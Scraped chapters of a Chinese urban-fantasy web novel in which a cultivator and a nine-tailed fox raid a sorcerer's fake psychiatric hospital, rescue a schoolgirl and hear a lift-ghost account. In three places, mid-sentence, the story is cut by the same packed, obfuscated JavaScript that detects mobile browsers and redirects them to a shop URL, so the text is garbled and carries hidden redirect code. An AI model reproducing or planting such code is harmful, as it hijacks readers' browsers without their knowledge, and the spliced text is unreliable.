听着是普通的精神病院啊,黎钰有些头痛,“看来懒不了,还是得逐个排查。” 郊区的精神病院还能带手机,甚至还有网吗?但对面说自己是沿江东路事件的幸存者…… “黎钰,我们接下来去哪?”在她查看微博时,谢安霖正在帮黎钰放风,路过的人纷纷侧目。 事实证明,让谢安霖穿古装,变兽耳出门是极其错误的选择——在黎钰帮忙拒绝第五个以为他是coser,兴奋地来集邮的人之后。 “反正都是地毯式搜索,我们就去这位网友说的地点看看吧。” 如果是陷阱……黎钰不介意把埋伏的魔修一锅踹掉,还是额外的业绩。 此时,那位疑似和父母关系不和、被送到精神病院的网友回她消息了。 瞥到顶部弹出的消息框,黎钰瞬间瞳孔收缩。 【查房的医生,他们没有头!】 【脖子以上,只有红色的肉在蠕动!】 …… 晚上八点,郊区。根据对策局的专员根据对方的账号IP,追踪出那位网友所在的地址。 对方是位未成年初中生,性别女,是沿江东路血案的幸存者,在今天早上办理了出院手续。现在的地址和她报给黎钰的地点完全吻合,对方确实位于精神病院。 白狐紧跟黎钰的脚步,一人一狐顺着步星澜发的地址,飞行前往目的地。 夜晚的公路,别说路人了,就连路过的出租车的影子也见不到,崭新的柏油路仿佛从未被使用过一样崭新。 “黎钰,有隔离结界的味道!” 是和沿江东路一样的结界!看来找对地方了。 荒野,寂静的风吹拂着,在茂密的树丛中,一座灰黑色的建筑坐落其中,没有窗户,没有光亮,就像死寂的墓碑矗立在坟包上,阴森骇人。 黎钰站在结界外,眺望着那可怖的建筑物。 “谢安霖,守门的任务交给你了。” “伪装是不可能了,我直接进去。争取把幸存者拉出来。你在外面接应我。” 黎钰顺势给步星澜发送了条消息,让他派人过来接应她带出来的幸存者。 白狐用爪子扒拉着自己的脑袋,“那我能冲进去吗……” “别,”黎钰可疑地顿了顿,“有漏网之鱼跑出来,你再击毙他就行。” 谢安霖冲上去,和卡车创进大楼有什么区别?她真怕这头九尾狐不小心撞飞幸存者,刚从魔修手里逃出生天,就在友方这里“撞大运”了,这找谁说理去? “嗯!”九尾狐的眼里闪烁着智慧的光芒,应该听懂了黎钰的话。 吩咐好谢安霖,黎钰立刻冲进病院。 …… 病院的通道红光闪烁,无头的医护人员推着沾染血液的担架车,从“手术室”中离开。 上面只有一滩人形的红色固液体,就像融化后又强行凝固起来的巧克力。 路过尽头的病房时,他的脚步停顿了,身子转过去,没有头颅,但它的的确确在观察那间房间。 片刻,他又推着尸体,转身离去。 那间病房的实验体早已死亡,是空置的,没有人在里面,没有人在里面。 轮子滚动,推车远离病房。 房间中的少女吓得大气也不敢出,她蹲坐在角落里,手指战战兢兢地打开微博。 【黎钰:我找到医院的位置了,现在来救你。】 少女捂着嘴,身躯止不住发颤。这已经是第三次查房了,不清楚原因,但就结论来说,她蒙混过关了。 自从给黎钰发消息后,查房的频率直线上升。 “我不想死……”她刚上初二,好不容易掏出沿江东路的魔窟,没想到刚出狼口,又入虎窝,她不想死在这里啊! “运气之神保佑我,让它们忽视我这个小透明吧……” 忽然,门外警铃大作。 门缝下渗进红光,仿佛迸溅的血液,少女的手机掉在地上,发出了清脆的响声。 她连忙捡起来,跳上床,抱着膝盖,手指死死抓住衣袖,就连吸气也不敢吸,生怕有鬼怪蹲在门缝里,瞥见她手机的光。 响亮的脚步声穿过她所在病房的走廊,前往了另一侧尽头——难道要下楼?她猜测道。 警报声十分刺耳,这座闹鬼的医院恐怕遇上极其危险的事故,就算手机掉落发出响声,巡逻的怪物也无瑕顾及她的病房。 “未知人员入侵,一级结界已损毁。” 刺耳的警报重复播报着,在短短十秒内,“二级结界损毁……三级结界损毁……” “防护结界已全部消失,内部人员做好战斗准备。” 少女目光瞬间呆滞了,大脑一片空白。难道黎钰真的来救她了? 这也太快了吧,她半小时前还在微博和她交谈啊! 赤红的光芒被黑色覆没,就像门外正经历一次可怖的海啸,黑色的泥土渗入病房,带着冲天的腐臭,迅速扩散开来。 直觉告诉她,那不是什么好东西,好在她已经跳上了病床,这黑泥暂时触及不到她。 “该不会发现我了吧?!” …… “医院”大楼顶层,身披黑袍的老者拄着拐杖,黑色的海洋在他脚下翻滚,就像一叶扁舟,载着老者进入电梯井,其中没有电梯,只是一条方直的深黑通道。 “如此阵仗,看来是那位对策局的新秀了。” 老者如巨石般,坠入深不见底的电梯井,伴随“轰隆”的响声,他直达一楼。 黎钰的目的肯定是挽救幸存者,他冷笑一声,“只要随便捉几个实验体威胁她,就算是拥有秘术的天才魔修,也得乖乖就犯。” 用幸存者的生命威胁,这或许是卑劣下作的手段——但疫黑尊不在乎,低劣又如何,能杀死敌人的计谋就是好计谋。 神识如海浪般扩散,代表疫病的黑泥瞬间吞噬了大楼的走廊,将那些无用的死物通通溶为疫病之海的一部分。 “什么——” 他的神识进不去房间,所有幸存者的房间仿佛真空一般,被透明的薄膜封存起来,无法渗入——每个有幸存者的房间都是。 “实验体的咒文失效了?!你怎么越过我的神识,找到实验体的?”元婴期和筑基期的修为可谓天差地别,老者的心中掀起惊涛骇浪。 疫病之海向着站在医院大门的黎钰翻涌而来,势要将她吞没。就在浪头距离黎钰一尺之余时,她平静地注视着黑衣老人。 “嗯……你就是坠楼事件的始作俑者?” 那黑海在她头顶晃了一圈,仿佛失去主人一般,软塌塌地落在地板上,围绕着黎钰。 “对我能破除你的术式感到惊讶?”黎钰笑了笑,“放心,在你变成尸体前,我可不会告诉你。” “交代同伙吧,如果不想死得太难看的话。” 为什么,为什么他操控不了自己的术法了!老者浑身僵硬,作为一位有领地的元婴魔修,他的自尊心不允许他在小辈前后退。 可是,他的术法就像剥洋葱般,一层层被黎钰剥离、失控。他没有回答黎钰的问题,硬着头皮,将手杖用力插在地板上,击穿砖块。 瞬间,黑海涌动,充斥着整个医院一楼,黑海中爬出不成人形的尸骸,散发着腐烂的气息,听随主人的指示,攻击敌人。 敌人是黑袍老者。 无数尸骸爬出,无情撕咬着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998428|193821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老人的躯干,丝毫不顾对方是自己的前主人。 本该被他操控的疫病之海,成为了黎钰锋利的剑刃。 在黎钰的魔气操控下。它们现在的主人,已经是黎钰了。 “杀了我也没用!” “即便坠楼事件停止,我的同僚也不会放过新海市!” 黎钰笑笑:“没事,礼尚往来,我也不会让你们好过的。” 在她的指使下,老者的眼珠被尸骸利爪击穿,血红的眼球掉落,骨碌碌滚到黎钰脚边。他的手臂被撕裂,露出惨白的血肉,他凄咧地喊叫着,“你们所有人都会死!” 下一秒,黑色的泥海将他活生生分解。第二位元婴期修士,死在了自己的术法下。 在他的身影被自己的黑泥吞没,死得支零破碎后,黎钰才慢悠悠地解释。 “唉,谁让你的法术有实体,”黎钰叹气,“但凡是精神攻击,我都要棘手好久。” 黑海中吞噬了无数生命,疫病、肢解、自尽……无数死于疫黑尊手中的亡灵,均在这黑色的海洋中沉沦,永不见天日。 现在,他也成为其中一员了。 …… 疫病之海开始消散。在维持存在的疫黑尊死后,黑海中散发着点点星芒,被疫黑尊杀死的灵魂终于结束了他们多年的劳役,迅速消失。 “不对,这是禁咒?!”黎钰想起了沿江东路的血案,那位终焉黑日的修士也是如此身亡。 解决前任奴隶主后,它们没有上前攻击黎钰,只是流淌到她的脚边,就像开水烧开了一样,冒着诡异的水泡,咕噜咕噜作响。 “难道他们是在感谢我?” 水泡烧得更大了,仿佛黎钰说错话了一样。 “不是吗……好歹我解放了你们哎。” 但黎钰并未从这些灵魂中察觉到恶意,“你们想和我交流吗?” 水泡在她脚步绕了个圈,似乎认可了她的猜测。 黎钰立刻将将神识探入疫病之海中。 筑基期修士贸然探查元婴大能的法器,哪怕那是死去修士的法器,也极其危险。 可是,这些被疫黑尊奴役的灵魂跟随他多年,耳濡目染,说不定其中就有人愿意为她提供情报! 疫病之海中,灵魂们一个接一个地化作星光破碎,每一个人,他们面无表情,只是机械地向黎钰重复着破碎的词语。 “新海市、实验……” “■■、毁灭、已然降临……” 层层叠叠,所有的灵魂,无论是男声、女声、童声……他们合奏般念着同样的词组,就像这是一曲献给死亡的圣歌。 黎钰瞬间捂住脑袋,神识在黑暗中沉沦,透过疫病的无光之海,她感觉自己的神识升得很高很远,恍惚之间,她似乎瞥见了一颗血红色的星球,漆黑的环状结构覆在星球轨道——仿佛一颗即将睁开的猩红眼珠。 “黎钰……黎钰……” 隐约听见有人在呼唤她,黑海退潮,赤红星球远去,在她的视线中渐渐消失为一个鲜红的小点。 “醒一醒……!” 睁眼,黎钰便看见一只巨型狐狸蹲在自己旁边,眼神充满智慧。 她揉了揉太阳穴:“我刚才晕过去了?多久了?” 狐狸跟小鸡啄米一样用力地点头:“三秒,我感知到里面的魔修和怪物都死了,就冲进来了。” “谢安霖,帮我检查下脑子,看下里面有没有中幻术,或者发生了什么畸变。”那诡异的血红星球,一直在她脑海中挥之不去。 蓝色的光芒落在她身上,片刻,狐狸摇摇头:“有魔息入侵,但不严重,我帮你清理掉了!” 九尾白狐摇着尾巴,试图求夸。 “谢了,”黎钰摸了摸他的尾巴,“楼上有幸存者,附在他们身上的黑泥已经被我剥离,”她指着摇摇欲坠的楼梯,“我不擅长治疗术法,交给你了。” “对了,变回人形!”这破地方已经是危房了,承受不住谢安霖本体伟岸的身躯。她可不想调查到一半,房子就塌了。 “求救者说,她在三楼,你重点留意一下。” “嗯!” 把这件事丢给谢安霖,黎钰走进魔修下来的电梯井,立即移动到顶层。 这间废弃的病院疑点重重。上升途中,黎钰思索着,为何幸存者求救的信息能顺利发送到她的微博?要知道,这是郊区,还是被魔修布下隔离结界的根据地,一座闹鬼的医院。 为什么这里会有网?而且信号还特别好? 顶层,十三楼。离开电梯井的瞬间,满腔疑问都有了答案。 无数电子屏幕弯曲嵌在墙壁上,监控着大楼的所有要道、病房。 而在那屏幕的中心,一行字体弹出。 【自毁程序启动,信息清除中——10、9、8……】 “该死!”黎钰连忙上前,无论她怎么按键,屏幕中仍然显示着致命的倒计时。 她尝试上滑屏幕,在这破机器自爆前,抢救一些情报。 【紧急公告:32号废弃基地暴动,正迅速上浮现实,具体原因不明,请疫黑尊大人前往调查。】 21. 终结血案 【3、2、1……】随后,墙壁上的所有屏幕陷入黑暗。 程序启动后,就连灯光也跟着退役了。 还好黎钰手疾眼快,用手机拍了下来。 “啧,废弃医院里,还装着满当当的电子屏幕……”黎钰连忙给步星澜打电话,让他叫专业人员过来抢救机箱的情报。 “可恶,没信号。”屏幕顶端,信号零格,有个小小的红叉。黎钰握拳,气得锤了一下熄灭的电子屏幕,尝试使用物理手段让它恢复——对重要证物这种态度,要是步星澜看见,百分百气死。 黎钰布下结界,将那段公告记在心中,带着重重疑虑,离开了十三楼。 到了楼下,谢安霖仿佛一条白色的大狗,乖巧地趴在一楼地板上,他的面前躺着三名昏迷不醒的年轻人,“黎钰,他们是幸存者,我帮他们治好了伤势,里面有那位提供情报的学生吗?” 黎钰蹲下,查探几人的鼻息,观察他们的面容——这几个人都是男性。 “那是个初中女学生……”她拿出手机,翻阅着那名学生发给她的讯息。 她捏捏狐狸的爪子,“有见到类似的人吗?和方程、秦飞雁年纪相仿的女生。” 九尾狐的眼珠子滴溜溜地转了转,仿佛一头聪明的二哈,“没见过,尸体也没有。” “那我上去找人,她肯定还在这里。” 三楼。那是求救者告诉她的位置。 …… “外面,好安静。”少女缩在房间中,除了自己的呼吸声,什么也听不见。 地板的黑泥仿佛死去多年,没有继续蔓延的意愿。它就像普通的泥一样,一动不动。 “黎钰,快来救我……”等她“出院”,要当黎钰一辈子的死忠粉。 不知道外界情况,也听不到怪物的嚎叫,与同类的求救声,外面一片静寂。 “啪嗒、啪嗒”,安静的走廊中,传来水珠滴落的声音。不对,那声音越来越近,越来越近……比起水滴,更像人为制造的脚步声。想到这里,身穿病服的少女更害怕了。 这奇异的脚步声整整在外面转悠了三圈,一点也不累,病服少女感觉自己的心跳就像跳楼机。 就算是怪物,也不用巡逻得这么频繁好不好! “难、难道黎钰输了?!”她开始脑补自己最终被发现,被那些无头怪物大卸八块的痛苦情景了。 不不不,她要乐观点,万一黎钰找到她了呢?唯物主义的她经历了这恐怖的一晚后,开始祈祷。 咚、咚咚、咚—— 门被敲响了。 “噫呀呀呀!”忽如起来的敲门声,她吓得从床上蹦起来,这下子,她真的管不住自己的嘴,放声尖叫了。 那惨叫,传遍整个楼层。 外面的“怪物”没有破门而入,而是停在房间外——仿佛被吓到的不是病服少女,而是她。 “……有人在吗?” 清悦而冷淡的女声隔着大门,传进她的耳中。 “你是什么东西?!” “黎钰。” “……啊?”里面的人好像惊吓过度,呆愣住了,然后立刻向门外的黎钰大喊:“我不信,你立字据!” 黎钰沉默了片刻,一脚把门锁踹烂,可怜的大门“哐当”一下,应声倒地。 房里房外,两人四目相对。 “救命啊!”然后又是一声惨叫。 …… 半个时辰后。对策局的人来到了现场。 考虑到步星澜本体也该解决完列车幸存者身上的术法,黎钰特地找了个有信号的地方,叫他过来。 顺带一提,那位清醒的幸存者少女,在看到一楼趴在地上的九尾狐后,又发出了可怜的惨叫。 “妖怪啊!” 第一次被人叫妖怪,谢安霖瞬间飞机耳,差点哈气。 “本尊特地在三楼转了两圈,一个活人都没发现……”被黎钰训了一顿,九尾狐的耳朵耷拉下来,肉眼可见的委屈。 怯弱的少女站在黎钰身后,小心翼翼地望着九尾狐。黎钰看向她,目光带着探究,要不是她逐个房间敲门,不经意把她吓出惨叫,她可能兜好几圈都看不见她。 “小朋友,你叫什么名字?”医护人员亲切地问道。 “……齐萱。”劫后余生,名为齐萱的少女脸色有些苍白。 “还有,我上初中了,不是小朋友……” 步星澜叫医护人员来给她做身体检查,“是觉醒者,异能尚未明确,应该是隐身或感知欺骗类异能。” “具体情况还需日后分析。” “根据调查,她父母被魔修的术法催眠,才将她送到这家废弃医院。”步星澜看向内部破破烂烂的大楼。 目送救护车将昏迷受伤的幸存者离开,那位少女脱离魔窟,好奇心胜于恐惧,视线在黎钰、步星澜、奇特的九尾狐两人一兽间扫来扫去。 齐萱活蹦乱跳的,经检查,最重的伤势居然是离开房间时,没站稳平地摔摔出的淤青。 和医护人员聊天后,齐萱没那么怕了,热泪盈眶,一把抱住黎钰,扒拉着她,不让她走。 “从今天开始,我就是你的铁粉!我的零花钱全是你的,小钰!” 那力道,仿佛黎钰就是她的再生父母。但凡黎钰不是修仙者,得被她勒得够呛。 “不、不用……初中生,好好学习,别追星——” 被拉上警车,强制将这条漏网之鱼送去医院时,齐萱目光含泪,拍打车窗,根本舍不得黎钰。 “和你的粉丝聊完了?”步星澜拿着平板,走到黎钰面前。 “聊完你的兼职,现在该聊聊本职了。”他熟练地划拉屏幕,黑色的荧幕显现着黎钰最后获得的情报。 【紧急公告:32号废弃基地暴动,正迅速上浮现实,具体原因不明,请疫黑尊大人前往调查。】 “截止至今,对策局对魔修都是抓活的,难以遇见所谓‘废弃’的大本营,”他指着屏幕的“废弃基地”四个大字,摇摇头,“根据这条公告,我们推测这片基地规模不小。” 九尾狐也把庞大的狗头凑过来,盯着平板上的字,黎钰捏着下巴:“暴动、上浮……这地方瞧着要出大乱子啊?” “可能还会影响现实。”步星澜感觉更头痛了。 黎钰思考了一下,将疫病之海的所见所闻告诉步星澜:“其实,我在疫病之海里,听见那些灵魂告诉我……” 听完她的报告,步星澜眉目皱得更深,“实验,他们要在新海市做什么实验?” “不知道,”黎钰脸上也忧思重重,“或许和沿江东路那魔修说的‘召唤’有关。” “好,我派人去调查类似的案例,这肯定不是他们第一次‘实验’,”他拍拍黎钰的肩膀,“坠楼事件的收尾就留给我们吧。” “至于你们俩,明后天,放两天假。” 黎钰还是有些不放心,“现在已经过了零点,万一在今日,魔修再制造坠楼事件……” 精神控制行不通,那就威逼胁迫,总能制造血案。 步星澜嘴角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002958|193821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扬起一个浅浅的弧度,那笑容,竟然有些渗人,“不必担忧,你们好好休假。” “疫黑尊已死,正好拿低级的魔修实验一下,看看‘秘密武器’有没有用。” “……局长你才是魔修吧?” …… 回到宿舍中,已经接近凌晨。 九尾狐也蔫巴巴的,通宵工作容易使人掉头发,这条定理在青丘狐妖身上也成立——一路上,谢安霖一直在掉毛。 整辆警车里都是飞扬的狐毛,跟下雪似的。 在司机的无声投诉下,谢安霖心虚地变回人形。 黎钰感觉司机已经对传说中的九尾白狐怯魅了——他掉毛量是寻常狐狸的九倍。 换一身衣服,黎钰瘫在床上,九尾狐也变回了原形,一边掉毛,一边蛄蛹滚上床,像条煤气罐一样陷进枕头里。 “天亮去吃好吃的,补充一下能量。” “嗷!”狐狸开心地发出狗叫的声音。 能喵能汪,一步到位实现猫狗双全。虽然掉毛是猫狗的九倍。 拿起手机,黎钰伸了个懒腰,打开微信。 第一条就是步星澜的消息:【考虑到你们的经济状况,我帮你们俩申请了工资预发。】 【中午来我这里领取一下谢安霖的银行卡,工资也打到上面了。】 黎钰顿时目光呆滞,她打开手机银行,发现卡里多了六千。 【局长,我要追随你一辈子呀!】 【滚。】 九尾狐不知道发生了什么,看她开心,就把尾巴伸过去给黎钰摸,蹭了她一身狐毛。 经纪人也还没给她发消息,考虑到时间,估计她睡得很香。 黎钰打开微博,就被信息轰炸了——被齐萱炸的。 【小钰,我居然觉醒异能了哎!】 【警察说我这叫‘心理学隐身’,好像可以降低存在感,让别人无视我的存在……】 【听他们说,我是一周前觉醒的。】 没记错的话,齐萱是沿江东路别墅的幸存者。一周前,应该是她被抓走,困进地下室时觉醒的“心理学隐身”。 “这技能真bug啊,疫黑尊都没发现她。” 当然,她和谢安霖也没发现。 谢安霖是化神期,神识感知超乎常人,就连他都没感知到齐萱的存在。 【黎钰:你别告诉其他人,包括你爸妈。】 对面立刻回消息,仿佛凌晨四点都不需要睡眠。真实精力充沛的初中生啊。 【听小钰的,我不告诉他们!】 【我现在在医院躺着,单人间,床比郊外那垃圾医院舒服多了!】 那当然,疫黑尊那叫人体实验基地,不叫医院。 【不行了,小钰。我真要睡觉了,明天再为你冲锋陷阵!】 什么冲锋陷阵,你再说明白些?黎钰刚准备发消息问她,齐萱就光速下线了。 …… 四小时后,清晨。 黎钰刚补完觉,就被一通电话叫醒——是她的经纪人打来的,她打个哈欠,精神涣散地接通电话。 “发生什么了,费姐……” “天哪,我只是睡了一觉,你怎么就把连环坠楼事件解决了?!” “你快去看微博!” 什么解决?身边的九尾狐比她睡得还香,醒都不带醒的,黎钰迷迷糊糊地打开微博。 【新海市坠楼事件光速结案】 【对策局新秀,黎钰】 咋回事,她怎么又上热搜了? 22. 电梯惊魂 今年热搜什么情况,怎么动不动就被她霸屏? 【我的妈呀,黎钰破案这么迅速的吗?】 顺着热搜,点进去警方的通告:“主谋已被击毙,五名幸存者已被移送到中央医院治疗。” 【这个熟悉的“击毙”,百分百是黎钰干的。姐,咱们真的不留个活口审讯一下吗?】 【楼上傻啊?沿江东路的原版直播看了没,主谋又不是人类,不当场击杀,还留它过年?】 【怎么感觉是对面负隅顽抗,黎钰不得已,只能将其击毙……】 不过对策局还发了一条公告,“此案社会影响深重,不法分子极有可能模仿作案,请市民们近日多加小心。” 怎么只有一条公告,步星澜的秘密武器呢——等下,黎钰的思绪转过来了。 “激将法吗……” 她都想象出来了。魔修气急败坏,主动出击,结果正中对策局的圈套,光荣地被带上银手镯。 “也有可能竖着进去,横着出来。” 【总会有反社会的人渣试图模仿作案,希望今天别再出现命案了……】 【这么爱制造血案,哪天被我家小钰送进停尸房就老实了。】 黎钰对步星澜所说的“秘密武器”十分好奇,但她一个新人,不好开口发问。她按捺下自己的好奇心,继续翻着微博热搜。 第三的热搜,还是【顾望宁黎钰地下情】。 “搞什么,为啥顾望宁的破事还在热搜上啊?!”黎钰想不明白,和她闹绯闻,对顾望宁和他身后的顾家有什么好处吗? 真到了翻脸和拉她下水的地步……恐怕顾家已经退圈了——退的生物圈。 不知是好奇心还是猎奇心作祟,黎钰再次点开了这个词条。 【我家小钰都单飞了,怎么某“顶流”还在捆绑销售啊?】 【某男星再蹭热度,信不信黎钰把你家的脏事都扒出来,送你全家进监狱排排坐?】 【楼上细说,吃瓜人好奇了,什么脏事?】 黎钰打开那位扬言要让顾望宁全家蹲监狱的评论者主页。 第一条,就是他转发的微博。【蒋如月V:到《灵异秘闻》的现场了,希望这次的综艺能给大家带来快乐。】 ——评论者还是《星遇》女主的粉丝? 黎钰看了眼评论者的名字——兼职工资为啥这么少。 瞧着像社畜,但是动态住别墅。 “咦,原书没出现过的ID名……”黎钰不敢百分百确定对面是书里的重要角色,毕竟网上的身份是自己给的,不排除对方只是单纯是顾望宁的黑子。 “IP还是新海市,同城啊,”黎钰喃喃自语,“顾家确实有黑料,或许对方真是知情者?” 她返回评论区,继续吃瓜。 面对其他评论的疑问,这人“高深莫测”地回了句:“以后你们会知道的。” 然后被顾望宁的粉丝喷得狗血淋头。 【积点口德吧,造谣别人家庭有意思吗?】 【纯路人,在警方发蓝底白字的通告前,某些人别乱发言谢谢。之前黎钰不就是这样吗,事情一反转,我的脸被打得啪啪响。那一刻,我感觉自己成了娱乐圈文里的恶毒炮灰。】 【查了下主页成分,好家伙,居然是蒋姓女星的梦男。我记得你,之前也在评论区造谣男星pc的还是你,你有完没完啊?】 【可能见不得梦角姐在综艺被我担热度碾压,于是破防乱喷人(笑)】 黎钰在心底吐槽,还有一种可能,他没造谣,真有男星pc。 虽然黎钰之前是糊咖,但她也见过不少业内男星,这些人私底下吃喝p赌什么都来,甚至他们还不是糊咖,是有名气的演员。 “这么想,顾望宁也有可能乱搞……”黎钰知道,两人一直有联络,顾望宁也经常介绍配角给黎钰出演。可顾望宁是顶流演员,大学毕业后,两人并没有在现实过多相处。 若不是顾望宁那天突发高烧,黎钰也不会去酒店,摊上“尾随顶流”的黑水。 多年青梅竹马,黎钰希望他只是个腐败的富家子,而不是作恶多端的魔修。 前者,黎钰会将他送进监狱;后者……黎钰会亲手将他送进太平间。 “啊……现在才八点。”黎钰又打了个哈欠。 算算时间,《灵异秘闻》也该开拍了。 阖上双眼,闭目养神,黎钰准备来一个回笼觉。 本想休息,脑海却不自觉浮现出微信里,顾望宁告诉她《灵异秘闻》的信息。 【导演说,本来录制的地点是东郊区的废校。】 【可调查出错,节目组去到那里时,只有一片浑浊的湖泊。】 黎钰猛地睁开眼睛,从床上弹起来。身边睡得正香的白狐也被惊醒,委屈地嘤嘤叫唤。 她拿起手机,手速飞快地在微信对话框打字道:【顾望宁,你们昨天是在湖畔扎营过夜吗?】 没有任何回复。或许是忙着录制? 澄清的公告是前天发的,关于黎钰在对策局的事,顾望宁什么都没问。 “某种意义上,我和他才是对家吧,这也太沉得住气了……” 正派修士和魔修,没有比这俩更对家的存在了。尽管黎钰在修仙这方面,并没有那么正统。 “黎钰,你不睡吗……”白狐以为自己妨碍到她休息,在枕头边蛄蛹了一下,尝试给黎钰挤出更多位置。 “醒了。”她揉了揉眼睛,“怎么,你要休息吗?不用的话,待会变回人形,带你去对策局拿银行卡。” 白狐摇头晃脑地抖了抖身上的毛发,“我要和黎钰一起出去!” 下一秒,枕边的白狐就变成了风度翩翩的兽耳美男,谢安霖从床上坐起来,不是步星澜给他的那套白衣道长装扮——是他穿越过来的初始服装。 除了重点区域的裤子,以及穿了等于没穿的薄纱外,墨发散落在床垫上,美妙风景一览无遗。他摇着毛绒绒的大尾巴,期待地望着黎钰。黎钰心虚地移开目光,非礼勿视。 “给我换回那套衣服!” …… 半个钟后,谢安霖不情不愿地换上厚实的衣服,跟在黎钰身后。 今天仍然是工作日,早上,“有猫饼”商店是一位陌生的中年女性在看店,没发现方程的身影。考虑她是高二生,百分百上学去了。 “谢安霖,你当白狐时,平时店里是她和方程轮流看店吗?” 身后的狐男瞬间竖起耳朵,“我七日前来这里,方程只有两日在,更多时间都是那个女人在看店。” “她母亲也会给我喂狗粮,难吃,本尊不吃,”谢安霖碎碎念,“世界上怎么可能有狗喜欢吃这种东西!” 越过商店,黎钰带着谢安霖走出宿舍楼,路上拦下出租车,带他去对策局拿银行卡。 前台,走进警察局的大门,二人看见一道熟悉的背影。 中年男性,穿着黑色T恤,身上的肉颤抖着,话都说不利索了,正在向前台的警员哭诉着自己的痛苦遭遇。 那俨然是VR体验馆的老板,昨日刚见过。 “你们要相信我呀,我昨晚真见鬼了!” 黎钰走向办公室的脚步顿了顿,视线转向这位中年老板。 对方也注意到她和谢安霖,泪流满面地横扑过来,黎钰后退半步,他刚好跪到了地上。 “黎大仙,谢谢你的保命符,救了我一命!” 黎钰想起来了,她当时担心魔修上VR体验馆寻仇,于是顺手给店长和店员都画了张符——可怎么就派上用场了? “谢安霖,你去找步星澜拿工资卡,这边我来处理。”黎钰让谢安霖前往局长的办公室。 他离开后,黎钰找了个空置的会议室,让店长坐下,给他倒了杯温开水,“昨天晚上,你那边发生异常事件了?能否告诉我详细情况。” 温水下肚,中年店长这才缓过气来,告诉黎钰昨晚的状况。 …… 晚上九点,闭店后,店长和朋友在大排档畅快地吃夜宵,喝啤酒。打车回到小区时,已经凌晨一点了。 四周寂静无人,只有保安亭和前台亮着微弱的光。他越过前台,来到了电梯口前,或许是为了省电,电梯口位于一片黑暗中,只有指示灯泛起红色的光。 “咦,我不是按的向上吗?怎么变向下了?”亮起的红光,是向下的按键。 无人能回答他的问题。 没记错的话,负一层是停车场,店长想着。此时,“叮咚”,电梯门打开。 或许是年久失修,左右开门时,电锯拉扯的刺耳噪音响彻整个大厅。 店长瞬间酒醒了,他拿出钥匙卡,熟练地按下7楼。 随后,电梯门严丝合缝地关上了。 “怎么是下去的路?”正常电梯不都是先上后下吗?没来由的,店长想起了下午时,那两位对策局警员和他提起的“电梯惊魂”。 “滋啦”一声,电梯的灯灭了。突如其来的断电,陷入了黑暗之中。 “物业在搞什么……!”店长急得疯狂按动警铃,毫无影响。 忽然,臭味越过电梯的缝隙,在电梯中蔓延,充斥着店长的鼻腔,他被这剧烈的臭味熏得捂住鼻子。 “叮咚”,电梯打开的瞬间,刺激的恶臭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006950|193821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如海浪般奔涌而来,似乎是某种生物死后腐败的气味。 在他闭眼捂住鼻子的那一刻,有人进入了电梯。天花板的灯灭了,停车场位于寂静与黑暗中,空气中只有刺鼻的臭味。 对方走进电梯,站在店长面前,漆黑之中,他看不见对方的面容——直觉告诉店长,对方正沉默地盯着他。 “真没礼貌……”店长皱了皱眉,至少转个身吧。 那道视线,就像猎人准备狩猎无知的猎物,店长摸了摸右腿的口袋,那里不知为何,正散发着阵阵温热。 是黎钰给他的符纸。 “这符纸怎么还有保暖功能?”或许是电梯内紧张的气氛,他不自觉攥紧口袋的符纸。 和诡异的黑影四目相对,“你、你好啊,现在的年轻人,这么晚下班的吗?” 对方没有回答,仍然直直盯着他。 此时,电梯的光闪了一瞬,借着这一毫秒,店长看清了对方的身影——他差点一个脚软,瘫倒在地上。 那道身影,只是道黑色的人形轮廓,就像凝胶捏出的等身人体,没有脸,甚至无法分清前后。 电梯开始上行,店长眼疾手快,立刻往电梯按键按了一楼。 符纸瞬间剧烈燃烧,店长感觉自己的裤子口袋仿佛坠入了太阳之中,隔着裤子,都能感受到热量。 “对了,黎大仙的符纸!” 他顾不得那是团烧灼的火焰,直接从口袋抓出符纸,往黑胶人身上一丢! 烈火迅速蔓延,落入黑色凝胶“人”身上,就像热油遇见了火,刹那间,电梯“灯火通明”,熊熊燃烧。 刺耳的哀嚎从响彻整个电梯,那简直不是人类能发出的声音,冲天的尖啸将店长的脑子洗刷得一片空白。 求生本能战胜了恐惧,身体的本能说,现在必须要离开电梯,店长立即越过火焰人,冲过去按下一楼按键。 “叮咚——” 电梯来到一楼,门还没完全打开,店长就一边哀嚎,一边夺门而出。 “撞鬼了!有鬼啊!” 在前台迷茫的目光中,电梯内空无一人,只有淡淡的焦糊味。门重重阖上,中年男连忙冲出小区,消失在茫茫黑夜中。 …… “然后我就跑到了一家24小时连锁便利店,借手机报警。” 黎钰拿手机录音记下了店长的话。 